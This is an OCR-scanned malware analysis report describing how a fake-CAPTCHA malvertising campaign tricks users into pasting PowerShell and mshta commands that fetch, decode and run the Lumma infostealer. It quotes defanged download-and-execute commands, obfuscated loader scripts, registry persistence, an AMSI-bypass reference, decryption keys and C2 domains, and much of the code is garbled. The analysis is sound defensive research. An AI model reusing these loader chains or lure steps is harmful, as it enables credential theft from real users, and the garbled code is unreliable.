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An Active Campaign

We recently came across a campaign that installs an infostealer called Lumma.
It's quite active, with the campaign being observed as early as August last
year. It often hides in free streaming and software download websites as
malware advertisements. Some links also appear on popular social media
platforms.

Guardio Labs

has a detailed write-up about the malvertising aspect of this campaign. This
article will cover the different payloads this campaign uses after the Fake

Captcha.
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Figure 1.0 Hybrid Analyzer detection of the Infostealer Payload

FakeCaptcha Triggered

There were several samples that we gathered during November to January. And as
mentioned, most of them came from links that were shared from social media
platforms. When an unsuspecting user tries to download free media or software,
they are bombarded with ads and one of this ad is a Malvertisement which will
eventually lead to the fake CAPTCHA before reaching the actual download link.
The user is instructed to use the "CTRL-V" key, which is the copy paste

shortcut key, to execute a PowerShell script via the Run dialog box

(Windows+R) as a "Verification Steps".
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Verification Steps

1. Press Windows Button "H" + R

2. Press CTRL+V

3. Press Enter

Type the name of a program, folder, document, or
Internet resource, and Windows will open it for you.

=

Open: ‘ t.DownloadsString($url); Invoke-Expression $script i

Cancel Browse...

Figure 2.0 A webpage which instructs the user to run the script

Infection Chains - Post FakeCaptcha

Sample Set 1

When we first got a sample from this campaign back in November, the payload
from the copy pasted run command is quite simple. It will run a PowerShell

script to download another file prize.txt.

Copy Pasted Run Commar

cmd.exe /c powershell -WindowStyle Hidden —-Command "Surl="hx

aliyuncs[.]com/prize[.]txt"; i ew—0b em.Net.WebClient;

-DownloadString (surl)

prize.txt

The downloaded "prize.txt" is another PowerShell script that will download the

PE executable which is the infostealer payload.

southeast—-5[.]aliyun

if (! (Test-Path ) { New-Item —Path ¢ —ItemType Directory }

Invoke-WebRequest -Uri $al -OutFile $b2

Remove-Ttem $b2 -Force

Start-Process -FilePath $d4 —WindowStyle Hidden

Sample Set 2

After a few days, they updated the PowerShell script and encoded the string

using base64 to hide another PowerShell script.
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Copy Pasted Run Command:

POWERSHelL —w HiDden "[Text. Enhodlnq]::UTFﬂ.uﬁtbtrlng([tonvnrf]::Fronﬁd:nt4 tring
("aWvV4ICh gJ2h0dHBzO o’ 3 ub.NVLWFwLKNvdX WZWFzdCOxLmFsaX1l1bmNzLnNvbS9HCcUhRVO5Ndi50eHQNIC
1Ve2VCYXNpY1BhenNpbmepLkNvbnR1bnQ=

.]Joss-ap—southeast-1[.]aliyuncs[.]com/GgHQWNMv[.]txt

GqHQWNMyv.txt

The downloaded "GqHQWNMuv.txt" is another PowerShell script. It is similar to
"prize.txt" in Sample Set 1 but this time, instead of downloading the PE
executable payload, it is now included in the code. The PE executable is now

base64 encoded($rFbgJhKI) within the script.

Stop"
tion $Env:AppData

if (Tpat -Path nv:AppData\JNBUCusF.t
: Remove-Item "S$Env:AppDatal\JNBU

}

Exit

SrFobgJdhKI
VkeqlEPVoObDlgoOPo[\LuqtL.mIF"llPI"BDyAﬂllFPIzng\mthr
C I1VleNqBBEmF9V9uZUuBM}4P1+ z9+fD5hd?e [PEDALTED]...AA
: AP*Oy4H1PdeUEwFBgAAAABOAE4AD1EAAan/QAAAA—
g SEnv: Apdetd\LuLUoTEN zip"
vuApDd [System nvert] ::FromBase64String ($rFbgJhKI)
[System.IO.File]::WriteAllBytes ($hFTkXwgO, S$cSwvuApDd)

5QvRHs1fU = New-Item -ItemType Directory -Path

try {

SwOKeRbbD = Expand-Archive —-Path S$hFTkXwgO -DestinationPath $
} catch {

Write-Host " $

Exit

Remove-Item $hFTkXwgO
«gLkiu\mdnsresponder.exe"
Path

Start-Pro

SLJxKbfbB "HKCU: \SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
SEDREWTaw = "NetUtilityApp

Get-ItemProperty -Path 5LJxKbfbB -Name SEDRFWTaw -ErrorAction SilentlyContinue)
Set-ItemProperty -Path $LJxKbfbB -Name S$SEDRFWTaw -Value $BMESfQWR

ew-ItemProperty -Path $LJxKbfbB -Name SEDREWTaw -Value S$BMESfQWR —PropertyType "

if (Test-Path "SEnv:AppData\JNBUCusF.txt")
"SEnv:AppData\JNBUCusF.

$BMFSfQWR"

Sample Set 3

It now uses mshta.exe, which is categorized as a living-off-the-land
binary, to run a remote HTA file. The HTA file contains embedded scripts that

execute to move to the next stage of the payload.
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Copy Pasted Run Command:

mshta hxxps://thepremiumstuffs[.]fun/s7[.]mp4 # M ''I am not a robot -
reCAPTCHA Verification ID:

s7.mp4

The file appears to be an HTA file disguised with an MP4 extension. It's
packed with junk code, inflating the file size to about 706KB, even though the
malicious code is only a few lines long. The next stage of the payload is at

the start of the file, located between positions 27 and 9399. It extracts

every two characters and skips the third. Each pair of characters represents a
hex value, which is then converted to its ASCII equivalent. The decoded string

is executed using eval().

1s2cU 37Z35a2c:s x3512cF380 32B2c
29N3bL76u61G7202014bo74T5aC6dw62Z220J3dj20n6eH65x77y20d41k
4U6fr69d78h29%u3bJ4bY74j5aLedm62U2ex52D75f6ei28qg4cQ46F6a
3bue

= document.documentElement.outerHTM

KtZmb.substring (27 , 9399)

val (LFjuo.replace(/(..)./g, function(match, pl) {return S ng.fromCharCode (parseInt

Below is the decoded string that will be executed using eval(). As we

can see, it is still encoded. The encoded string is an array of numbers. Each
number is subtracted by 759 and then converted to its ASCII equivalent
character. The output is concatenated to form the decoded string. The next
stage, where the decoded string is stored in the variable LFjuo, is

executed using the WScript.Shell. Run method.
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''";for (var VToix = 0;VToix < yTmEsM.length; VToix++) {var SiMcoZ =
[VToix] )) # j j + SiMcoZ}return LFjuo};var LFjuo =
874, 0, 8 ] ] 360 3.0 378 308,791,804,

4,824,825,
40,878

824, 8
864,

Still under the s7.mp4, the decoded string is a PowerShell command line with
an encoded script. When the strings are decoded, it reveals that it will

download another payload s7.bin.

"-w hidden
//h1[.]

s7.bin

The s7.bin file is quite large, over 9MB. For this file, we'll focus on

the large data in $dsAHg78dAS. This data is fed into a decryption
function called fdsjnh. It converts $dsAHg78dAS into a string

and concatenates it. Then, it's base64 decoded and decrypted using XOR.

Finally, the converted string is executed using Scriptblock.
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[REDACTED]

+119,98, 66,99,119,73, 68,119,103, 80, 105,
,57,110, 66, 65, 81, 68, 66, 6 - t- 5z,n7 67,104, 48,90,70, 8 g
,99, 66 [REDACTED] . . .100, 77, 121,66,114,99,6

SarRmAtH
{UDnZEolbEr

GLO5rCf8 hdllMlWthleY\a Jqp GmrC3j t 1L7Ff="ME5Hk1gf} 2WV20zM4J0OUcbF808n1BPO2D
Czu0CU8i0GCFuZefX61TLARTvkEhurwIj1l1BLb ’LbjDKuDaPTﬂI41M=e3fMAFde d3T06bc2074Bdy3B51XDOwvr2Xu
e0k96JzSMkthbut j a 80QdUi165GbFolRGIEiHMKIMpQz8YmTI1jhctieBGiCulmTiudvw
Ygq2KI4np dCj n2ekRkmTg5su950b8u6PqfNmWyJVnT4zGtTCz1dYgsbUEnHaziAHT

WAjnVlleMt 4qu 791i117G! gfj 1QXKFQUh1tBkén7vvY71rAUTTeGUSPIrOiWkIDOQ
GMNxzaRffUgaleZEkZ5414zHuQUSsRpnuTd4AENbdIb

ODSAQ") ; $strinG SEnc.GetString ([systEm.coNVerT]
VuaLhN1RccnM3ER1Q UDNZEo 1 bETVwcWOTMKX 31 RTWGCiQGYH
dMHf faSTD7vBmakZa5f1y4TygvKpzCRdcgCv5icgS2x91xwwRE £
NeD9oJeupMmgz 5mYkHDdrvICh8GLOSrCf9Jh4T1MIwhYhimYY
1JqubX1“deumrl' x02WV20zM4J0Uch GDSHlBPOzDL"1HtUw1HbLFu7¢fK61TLdPT
bTDuUDFPTFIdlMd D
Y80QdUi6

rCp FPICGrNMbnVsrXsGMNzaRE UleFuEk 54idz HuQUHprnqu4AEthIbuy1WUNM”
0; $i -1 riNG.length; ) {for (%3
g { bytprrlNu i] -bxor
= SXoRKEy.length}}}) ;$xoRdData = SEnc.( ! ( RdData) ; return

(($UnxGU -as [Type]) :: ($xuddVINCN) ( (£« - (S >ygD -> ((Scr
(Create) ((fdsjnh) ) ). (Inv Y O

[REDACTED]

The first part, not shown in the code below, is the
Amsi-Bypass-Powershell
code . It

modifies CLR.DLL in memory,

to bypass AMSI. What is left for us to check is the contents of $a,
which we can assume is a .NET assembly. Dumping the content will reveal the PE

executable payload.

[REDACTED Amsi-Bypass—Powershell]

P -
= "TVqQARMAAAAEARAA//...AARAAARARARARAAAAAAARAARARARAAARAARAAARARARARAAAAAAAARARARARARARARARR
ALAARARARARAARALA A AR AL A AR AR AR R A A R AR A A AR A AR AA L AARAARAALAARARAL AR AALAAA AR ARALALAARALAARALAARAARARALALARARLLDRAAL

ALAARRAARAAALAAARAAAARALAARARAARARA=""

[System.Convert] : :FromBase645tring (5a) ;
embly]$assembly = [System.AppDomain]::CurrentDomain.Load($
embly.EntryPoint.Invoke ($null, @())

The third sample of the infection reveals that they employed numerous layers
of obfuscation and encryption techniques. These threat actors also utilized
several different files in the process before ultimately executing the PE

executable payload.
Infostealer Payload

Since the third sample of infection is the most common in our campaign

monitoring, we will use its payload to discuss the Infostealer payload.

Initial stage
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Instead of running the Assembly code in the final script, we can modify and
use it to extract the Infostealer Payload for further analysis. Now that we
have the PE executable payload, we can examine some details about the file.

According to Detect It Easy, the file is protected by Smart Assembly.

Detect It Easy v3.09 [Windows 10 Version 1803] (x86_64) — O X
File name
> |0 __dump_.
File type File size Advanced
PE32 v 1.21 MiB
Scan Endianness Mode Architecture Type
Automatic A LE 32-bit 1386 GUI
v PE32

Operation system: Windows(95)[I386, 32-bit, GUI]
Linker: Microsoft Linker(8.0)
Language: C#

Vv v n v
N N

Library: .NET(v4.0.30319) Shortcuts
Protector: Smart Assembly -
Options
Signatures V| Recursive scan V| Deep scan Heuristic scan V| Verbose About
Scan
Directory Log All types > 450 msec Exit

Figure 3.0 Detect It Easy information on the Infostealer initial stage

There are many ways to analyze this .NET file, but for this example, we can
use DNSpy to understand what it does. Below is some metadata produced by the
tool. We can confirm the version of Smart Assembly used and the filename,

which is "Ocolwhfse.exe".

System;
System.Configuration.Assemblies;
System.Diagnostics;
System.Reflection;
System.Runtime.CompilerServices;
System.Runtime.InteropServices;
System.Runtime.Versioning;
SmartAssembly.Attributes;

: AssemblyAlgorithmId(AssemblyHashAlgorithm. )1

: AssemblyVersion("1.0.0.0")]

: CompilationRelaxations(8)]

: RuntimeCompatibility( = )1
: Debuggable(DebuggableAttribute.DebuggingModes.

: AssemblyTitle("Ocolwhfse")]

: AssemblyDescription("")]

: AssemblyConfiguration("")]

: AssemblyCompany ("")]

: AssemblyProduct("Ocolwhfse”)]

: AssemblyCopyright("Copyright © 2019")]

: AssemblyTrademark("")]

: Guid("e4d8d130-3c86-4054-be2a-a29e3ablace0™)]

: AssemblyFileVersion("1.0.0.0")]

: TargetFramework(".NETFramework,Version=v4.6", = ".NET Framework 4.6")]
: ComVisible( )]

: PoweredBy("Powered by SmartAssembly 8.2.0.5183")]

Figure 3.1 DNSpy information on the Infostealer initial stage

It loads a module named Wivgvpcp.dll, which is the second-stage

payload. This module was encrypted using the RC2 cipher with a Base64 encoded
key: "0OwOxVYRD3wATV3MwWq5gbA==" and an IV: "6r/PacCkWiY="'that
will be decoded at runtime. It will be executed via InvokeMethod with

"13v52Pkjv" as the parameter.

Page 7 of 10



https://www.varist.com /blogs-news/malvertisements-fake-captchas

ovi = \ue

m cryptoTransforn = \u

10012\ 18002 (\ OO

100% -

Modules

Timestamp
1/10,

Figure 3.2 Show the code that will try to load the module
Wivgvpcp.dll
2nd stage

As for the module file, it is protected by .NET reactor. We can use different
tools such as de4dot to try and remove some of its protection.

Detect It Easy v3.09 [Windows 10 Version 1803] (x86_64) — O X
File name
> |c! S\Wivgvpep.di|
File type File size Advanced
PE32 N 1.13 MiB
Scan Endianness Mode Architecture Type
Automatic v LE 32-bit 1386 DLL
v PE32

Operation system: Windows(95)[1386, 32-bit, DLL]
Linker: Microsoft Linker
Language: C#

v v nunn
N S I

Library: .NET(v4.0.30319) Shortcuts
Protector: .NET Reactor(6.X)[Control Flow + Anti-Tamper + Anti-ILDASM] .
Options
Signatures | V| Recursive scan V| Deep scan Heuristic scan V| Verbose About
Scan
Directory Log All types > 415 msec Exit

Figure 4.0 Detect It Easy information on the Infostealer 2nd stage

Continuing our analysis with DNSpy, we found a code that appears to decrypt
another file. The file is encrypted using AES, with a base64-encoded key:
ykArXXWpRAnkDsyaF3S1iYVT5/z29w3bJdSj5FI+XNCA= and an IV:
IONCjOrG+0b6r6IKiYgYuQ==. These will be decoded during runtime.
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c byte[] smethod :(t?te[] byte;a)

[1 array2;

(19836));
. (19930));
rm cryptoTransform or(aes. , aes.IV);

tream memoryStream
using (MemoryStream memoryStream2 = new MemoryStream(byte_0))
sing (CryptoStream cryptoStream = new CryptoStream(memoryStream2, cryptoTransform, CryptoStreamMode.Read))

cryptoStream. ( o(memoryStream) ;
byte[] array = memoryStream.T:
array2 = array;

¥
3
s
return array2;

Figure 4.1 Shows the code that will decrypt the final stage of the payload
Final Stage Payload - Lumma Infostealer

The decrypted file is the final payload and is a copy of the Lumma
Infostealer. It uses base64 encoding and XOR to decrypt the domain
configuration. Each domain entry consists of an XOR key and an encrypted
domain string. Once decoded, the first 32 bytes are the XOR key, and the

remaining bytes are the encrypted domain.

Example Domain Entry:
Base6d Encoded: socnXo6alhXHA2XNYyTYASqkCKeFTrdTD70edgcHH8Xf5kAWS/zjca6Z2HOMAXbel

xb2\xBT7\x27\x5be\x8e\x%a\x90\x15\xc7\xe3\x65\xcd\x63\x2

20f\xbd\xle\xze2\x07\x207\x1f\xcb\xdf\xeb 230 \xeT\xfc\xe3\x71\xae\x99\xlc\xe3

B7\x27\xbe\x8e\x% a\x96\x15\xcT\xe3\x6b\xcd\x63\x24\xdB8\xel\x2a\xad\x08\xa7\x85\
bd\xle\xe2\zx07\x07\x1f 5

Encrypted Data: \xzdf\xe6\zd40\xz30\xe7\xzfc\xe3\xT71l\xae\x99\xlc\xe3\x00\x5d\xb7\x94

Decrypted URL: magnifudizy.cyou

¢ magnifudizy[.]cyou
o littlenotii[.]biz

¢ grandiouseziu[.]biz
o fraggielek|.]biz

¢ nuttyshopr[.]biz

¢ spookycappyl.]biz
¢ marketlumpel.]biz
¢ truculengisaul.]biz

¢ punishzement[.]biz

Indicators of Compromise

Hash Description Varist Detection
45ba7edf16b56e5a25cf4ba630881b50abf93cab440752ac70ee69ccace8d2b1 prize.txt PSH/Downldr.CR
d3e0e401f5c55b3e9ea0b1c276b3bf2aca21f620013307361c41d5e1d5e2ba7c prize.zip W32/Dropper.BJVU
1512fd62b84ebbb1620c4446d616£1333c564c18154089ead89e065c43313ac5 g;fyolztzzler W32/Lumma.B
d354bd95269c424918c411ef8e7c8dd2323ef7422cc1099959ac2a56b81494b3  Fake Captcha HTML/FakeCha.A
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Hash

£8278fe32a0916f85bd703aa8975d4e559466ee96a188f68bd2a2816fdbb18a8

b9068030cedbf08f1149951ad6afdde5025383e3d27e212eec23f363dde51

54e5e13f536bcf11e6e5dd676bc42bcb9888344609bcaff19f78e0bf0e869bcs

f8eebdc2f4e317694a7a8a25312f3f6b0c76dd26707d23a123cc202216beabdc

97bf1b333cc37d639b76b861c9a89c86ee5eb7a36a32610c933ba35c2a6dc871

3febdc4aeae8dc999c500c567b7af4ae3502ed5ccc830d604c1£3f3006131bab

b4668c8aea80800f518cb231ec22932d67b3b0cd75687bd7a2d8ae8d1e41634b

f7f5ac812f22722da577fd2017b12747ea6e9cd9600e24a56b5c242bc8aecb77

Source: https://www.varist.com/blogs-news/malvertisements-fake-captchas
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Description
GqHQWNMu.txt

Infostealer

Payload

Fake Captcha
s7.mp4
s7.bin

Infostealer

Payload
Wivgvpcep.dll

Infostealer

Payload

Varist Detection

PSH/Dropper.E

W32/Shellcoderunner.A

HTML/FakeCha.A
JS/Agent.CTL!Eldorado

PSH/Agent.SO

W32/Lumma.C

W32/MSIL_Agent.JCI.gen!Eld

W32/Stealer.HJ.gen!Eldorado



